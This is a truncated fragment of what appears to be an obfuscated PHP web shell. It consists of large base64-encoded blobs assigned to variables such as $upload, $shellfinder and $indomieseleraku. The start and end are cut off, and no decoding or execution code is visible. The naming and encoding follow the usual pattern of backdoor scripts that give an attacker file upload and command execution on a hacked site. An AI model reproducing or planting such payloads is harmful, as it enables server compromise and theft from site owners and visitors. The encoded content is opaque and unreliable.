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';
$upload ='xVXJbtswED07QP6BUN3aBpLIcRc01pJe0qBAgRZIegoCg5Zoi6gkEiId2Sn6750hRW+xXV+K+qCNb96beTOkT0/4pMuVYrrbHn3/dnf/0JnJXNA0EYXsPPZ6v05PWgYyst9ZOprwnAH685evN3cPHXzrPD50dCFHJS2YC2q1JdUZiUhBpzwZC1EsFXABYIFBTTAIYC8ILZkFOfJduJWwxUpephSFTQIXVsAuKU01LHwqxBPbrsfRnDUEvaDVwiA+IV0T2COmrFa7UFMg8TCMOBKiBWkCPaP1Gy8sV4ws8RQCDNAGEZuZgSP6WDBgEbqnb7Mqdx2AfHKe0RL4dMXX7Lefmw60awjZhtSWxqwf08Y2JEeNIRFJRV1iJl2nf2YkGrKt5ri4YDlmthtNDxrPj7L8CA+dGuKNkdfx6Uk4EVVBaKK5KCPvehGF1zKThCUZ8tdpQK7jN7SQwTyyPB5hZaIXkkVeMcs1l7TSPpKcp1RTjxRMZyKNPCmU9lBA0zHkneRUqciDl5Jpjyi9yIGh5qnOhm8HfTkPJE1TXk6HfXIJbza0ikOwPxG5khTSG3jxD1vMpBIFwV0606wKfZ3FcKmWMelGTCidnmZzfU5zPi2HCSshFHRCXgKLQ0CcqIav+uYXeMRWamwjOIPu2XdxFqBm44JrB1kdIp4r3ICfxzPAPNF8BqBbsWXDx76pO/QlFpPuK2ZdFuvZktgivbp6Hbi0cOiW8jv6bKpCZefl8oYthK/Y5n/bUtgqf+2mmdiNMXPaBa2mvBz2V8JQu51tddxwL6uLG+nYZpSa58b7Lb/XW2GNxh2/Zcjgvemucz/TWg59v67rCyUKdp6IlPlsDklwrS4Sb7MP/3kMGidCxXKWwE7hzxB4+UKwYbfHnnFSSLTeSdX1FOYkxmvo26UdoHxRzr0YrwdAk4phs8ztEIzpJAMY3g5J8vKnAk28HYCZ7G9v7g9AEmx8nJiZWYF8a1zs5mh/I3cdI2aWjj9FBu8+NMeI62Czb1fb2J4tm5sbnlL+tP+cbLbWwHKvDQ383eDQhD6EI4tZ+gM=';
$pytcpz ='nVXxb9o4FP55lfo/eL5qtLquCTCuoyORCBQaaClQCIy7aXIcJ7FI4igx0DDd/352Au1KO006CRLHfu/7vmc/v3d89O4dwT4DpYad6A1MIk7E29Y/akYWozQFHZbY1HFIBDaU+2CYcZ9FYE0RmLSGYJgwzjALtI8Nxf7JP9FLX46Pdsix3nBZxIGLMNHgBPksRBCggHqRBgsXCFK6FYsVCAQaSzT4h6peXqoq1EGLOcQBRgbu0CqhHEWCu8k5wkuSgIYiofWGEh+wHh8J0iQEIRGCHc0jHCDMKROUpYuTkFyUoC5sYvng5JGjhCCAAxGyBmkUr/gWgoRtxFf5EoIIhULdQzmXJ+YuVQhyspPUJ0GwUQWTBkpoVt7Y1Z5qdgaxPTfSxdSfWh1jspj3Kou5OWiFAcfdeua0jIldGSSL+fittTXeqH2zqfaL72bdbF9v7ybmtj1iXnsUxwtquPNKzbdnljvfqvVeue7as05sB3W3t2WDFm16Zqv429W71deKv0Rzk/Wyz1F/JLBb+3XD/DqrLe2ulZlt1ZtWpIbH4KEznk47gwBHiwDT2iSPq2uZVmc8mobWozOzts6179vhOM210+YLTnQzVnF35A0fXsW5sq4Ho2nFypzQyvotj5p04xVxLlPzGTMuYmVPmOaNkaFZTe23evd2FYu4jMCmhoq6wda82Ws11mKuupj1KA7rVSx4zG5HFb5rHI28e9qkZiv1cHWc9Yu5+GA/NjgMVo7QtZgLLfIMJ6yIp83Wt5Wyj7qfxX7W+T01vX5mbJ0bk+30xy/0dn3VuTGWt1GhbV5ZrHFoyT1g/ZGm5dnj0oCIxHFZTKJTGGfiPqVZeBFnEJzDzZ/wTBptRNbnVsXgtPA6t1FK/vr03SFYXJDT50Q8k04uDlhKClP5jf2QOS8ZztXLWk2uHR9RF5ymPAmEiJPv3evJ3yXMwhBFTunbmV4GHz6A3TR5JLi4UaVv7zUYS93w7Mfu0r1h9Brvy78HfMP7hzcJi/nfMb62egNScv7PKLWfOfPRK+dzmMAdhRRVaij7gvJUl/JKsy+PFiUbMGaMg1u6JGDi0xRomqYDQB5RGAfkCvicx1eKkorzvhA8V+VquVJtKPv6qsQvEdvERauAg5gl/He2pgsytgIYRSBAqwj7gEsBu2iAm7AQGKK4irobRQRzQMUvBSFLCLAJFxDgn/fKIb7sHvFBTZfzYr9Z5OmtAv0KxEX/+CkPG8rOppGXXcCzmGh+0XKKsrve7NtDTZTdNQpWYohDR/SGnc9B3S4woDyFfenehbcH+lSVzikJZICH7rnHcw7IMFgsW8eeO81STkKoP+TvhlKsivM7sJMYUL8Wz1/byCbL/WQF9eFu9GR7aJmnoZ6/nmyENqUI41ebUexFurJDyp92T2pacZIfkUxRRfbKPFP3XfQ/';
$simbz ='nVVtb9s2EP5cAfoPF66AHNSWvGEYmsYykiZ2G2CNjToYCvRFoKVTRIR6AUnZcYv8p/7EHWXLdjJjGWbANnl3fO743Atd58ULjLMSvMFcDQcxFgbpfz7shbNVLkVxB29XFdcafuv/+jvMV/CB10oYXggO58bw+A5V2BsE873Dauidus7LtIIQ0rLCosOqrPJFIViXLV+xY9KmS0LBDhl1meYpRnmZINlPxmPXmbWC6FYkrTARms8lRmldxEaUhSbF9eR6tNPEkgLFndy6juZcYyJUi6LrrNSi8PEe49qUyrdw/lzSRaTQZnMWmhgtMd4gLVUOOZqsTEJWldqwoesMRFHVBhqPIWs23xmYVYUhM3hvGBQ8p3UqJDJYcFnTJsjKHINaowqqei5FHGUml0FcFqm49YkiBlp8J8M/+iywPEL7u3X4vMdbup955LasDRn7xtr8P3xdz3NhtoDrimgd6nWdMIKBJ5iB5Y4W3oZMqrJELFofppbMltr0/RT+Gn2cXU2u39hCAqK8IG5LWaqQ9fsnJ/0+g5TH1lmGUnbhHRa44F3QvNA94lOkdDWzkpZxOtuz13wDryvKlXfaeCZ2F6g01U3HptaWp4gzgbYwXkbTyezms2dZ877a0t2SuKfdytYmm2vvGWwkjdp1RAqd1ujYdX5YGR1blyLLt13ETq1txwJHeE8lqDvW6PgYfmxIY01r7nHiKUy84edXX2EHA+NSJnSbc6mQJysYWSj4Gf0ErhBWZQ2XqqZwP13C0dGRzUxhNon6UtgYHgClRuv0LL+jANZRnD4XxZej4EAUFxSEwQS+Rd+ALA64ew5zLwUf0SiBC4Kb1XGMWqe1lKt/wX4A+lq2g4B4MIrHBqZKLF5DRgPLIsDYApP6v30obxWdPwGbul+mzXIL9fbgTHSdyfSGKnoGV0VCw0ZbamS5pKn6J1WEhnZxlU6WBaoP3MQZ2cayTsi4XVxPRp9GF3QLjC/eXbnOpVAY09haNah7LLnOuFQx3lC/gh0HQSW5KFznPEmeyMBOGjissfPoicaKwNdPNPemgWkk73mRSEo69SG1WK/iiibuP9UHzzTCLfYj6cblpFoP+3P5eMOaJwbCs+aFgY63q8LAb5Pjdb2lZ/v9bPveQBfWyVyPgbNNi3ZYOxDojdqD2jHM1ge2r6UddBwMV7doQhbRE2KHYKYwDfcBGAw9f4fie4OAN+/jw98=';
$cpnlndftpotdfr ='jVVtb9s2EP5cA/4PN88rHSCxlCZNltQSkDbrMAzrgjYDNgxDQIm0SZQSCZKK46z57ztSkuO46RLAtkTe3XPPvXo4ePGCl0IDmRU2n5W89hyfRb6XvTO05gpewntv4KzxGs75nJbcZnuzpMiD/jvNOAN4u4LfaGOlp7WkcOY9LT9zO0vWaBvIslqAs2U2Et6b0yRZLpdH0/T2Np2WukpepfuHSfojPpP918nh4clRenB4cDw19WIESb6GJG+Gg0B7NPO0UByWknmRkf00/YFAyZVyhpayXmQkbc+GMrY+K+pcRnyxTyAfDmaePbSnSi7qrPUE1+2JeG0IWL1EYDztk3zG5HUPJTizJIcWS3C5ED6A9VBE8bm/98uCdeJZ+MGMxC9D40dIkJYF+TYN9DnXtYdSK20zYjkjEKqEprqSJThaO6gcASdveUu8iEw3rT7+dN5bLbQXsuzVDwLToBmLuGW1FNLztQIKk1iMfITFgb4+hWYrKBatSaGwM/KZOALnVwrxPb/xezG00y7SfNNF9NC6tRVU3AvNMqOd77Qi5UsqdEVbwq86w+/T9Pg4TdH0E7fXWEZp4BRe1oUzb2ayNo3vqxEPtwT8yvAs0IGaVjwTMqS84Zk0eWs2HPzhuA3CbaQnoPxNB7UGukD1pbbsCUrbQKbHiQMV6zGX2PxeUA8r3cCSYk5wTlmcU0Tva/csnkZ0+KjA+M3UCEM2XD2d8ZMTzHi7I8DQBYfGKtjby9c0gi9qOf2KSezo0JwBDF+OX5OWE2lDIT0zjNICo/culKw/x2nqoDcJ/0/Urikq2cXtqh79V6kU4PUHvSRh27QwSWi+2NTDgZxPpHPcT8ZXF79/uvybuIr8s7MzHPw7HIylybyV1VomJMrQbNw8vPc33f2Wvumu2da16O/nDwVdbqIw7vBRDH57fro6xQg6tQ0VXBitwkHu1qOSZf1Ux/4cTTG2bzrZQGgQYsMYeuvmOcamn4pHAJ7lnUlbem1XjwGwZwG0vRt6agMjGASE+TTajmIpVDYyTaFkeSV8pZLOw9jJDObeXJW6rnmJbSLNTmycsberVqT0QtYT1NwdN7vjKJZzmEy+w6sd+PIF8A2Vu6a651zqRjGodeAdwWEXhDY4ZYBbQGEUGrudYgeX2lqUqxWcTmLRb6THxx2+Kce/go1gUtfAdM3hz/Nw+7PAJQu70jvwEjceLhVnZI2rRjpw2FV9Ju5CMtq0teHhkMXgAHME4Xe+C+8vL67e/vLh7ONffbSdzWaMAv+lYcWpaAcb/4e6PYblacqSOzdvFMbUu92KpWWMiYOK1g1V6+jv4uc/';
$indomieseleraku ='nVVdb9owFH0uEv/hyutkeGjDS1WpTdKxAgNtJVGg9KFCUT4MWAp2ZDtQ/v2cj7Zsbbp0DxARHZ9z7uX43nbr5IREGw7IDIVtRoQpop+hfWbNiNgRATMSZYKqA0zYiottoChn0jozjfAILmx03W5VRM9vY7qDKAmktLDapgTb7ZapgjAhECR0zSxcAjHsaaw2Fr7ofcW2qWLbXHGmIOIJFxb+0utdXvZ62P5JBCMJLIiQ2oJp5CDbNHK8/qDrQj3dpH7Ggi3pdF8NKfEB7QMJoSy1hvLUnw29xdB7ROXTnzmj+UPfG6JlQwl37P7b9q4EaN9QcgJngKofeVkySKn/qdJuMyF0i+Fe1ha3JsqPSpifaVhj7pwTJoN62u0ho3Fjuh+CZ+lHZOtPkN3uY6jnivbNmfrxlrKG8cBVPPqDu8kUN81GdctcLlRTAdfx5p/ln7h17LIATFyw8uZsuFThoUjZa+7H87nrj53ZHC0b/wUJzZNXL/tSlDe8c+ZD3bWB17io6N77BTJL0/qurTIW5aPKJ09UKtnBOuWJX10y3L3BQ5aPohhf4SnHDXU9EsTFADN0jIxUj7Z9XKP/jUpfVPAOPsJrbfTCYwawEWRl4ZugcGttecSxDY8LSvZL0whsdIWmXMHzCfRfTuUmiPm+udMSf+z0HRunYSCJTk2HMurr6HQQTwnz87cxFagLXIBUQumLnerBUoPqWhZypkhLOVN4vxaZbyBSuddGnNGoBsm0xT/RDdvlaE/wPa9nQN9c9OpIscnUkyaFcyiLP9e8b4SMYsfp43r/6e+/dmS79Rs=';
$shellfinder ='nRdrb9s28PMM5D8QWgA5WC06btP1EfvDWgwYMKBDXaAousKgJVpiIooqScWPov99x6ekNOuKAYZ8d7zjPXgP8mzy009nE5pXIr3OaaOpXJ1NrrdyFbDr7Wq2XFMi8wqtK1rXCnVtLUhBi+XsGm9XhhlEGC+RkvkyqbRuX2C83+8vL7P56TTPcsHxYn75BM+f4cUCLy7x1fPF1dPFs8dPs7YpEyPeIlKzslkmTm2yusZt2HonJEec6koUy+SvN+t3VgIb8mpgtGUjuWYCtkmiQCuUtgKsaTuN8pootUwsckpQQzhdJlqSkuoE6WNrMHoAWLETwJfzeYLuSN3RoWeZYppavxIcrDQx86Gwih7WpHLSPLT3WhOp0RpWGUTEG6K6LWd66C0oSF+eTc4miuqNZpxuagYs0/mFpbIdmjIFa9PzjQnUR6fv08UF+oKQ4TjvZI2WyC+nzvH0k5U2WYAS0IHAKdWSxruQKmNcujLWGfNQkpltssDqvthIrJKXYZ+3dN3V714MeRKr5ly5NFoiIiU5TpP36zdZW7XJo6Q4eSCHvWgdkcZD6nOg8eMAJoVqhY7cEdgGmvrAHXQ2SQ6eJp8/91Atwk43wgP7sMm+4rkKuxi7g4XFnBPWjJ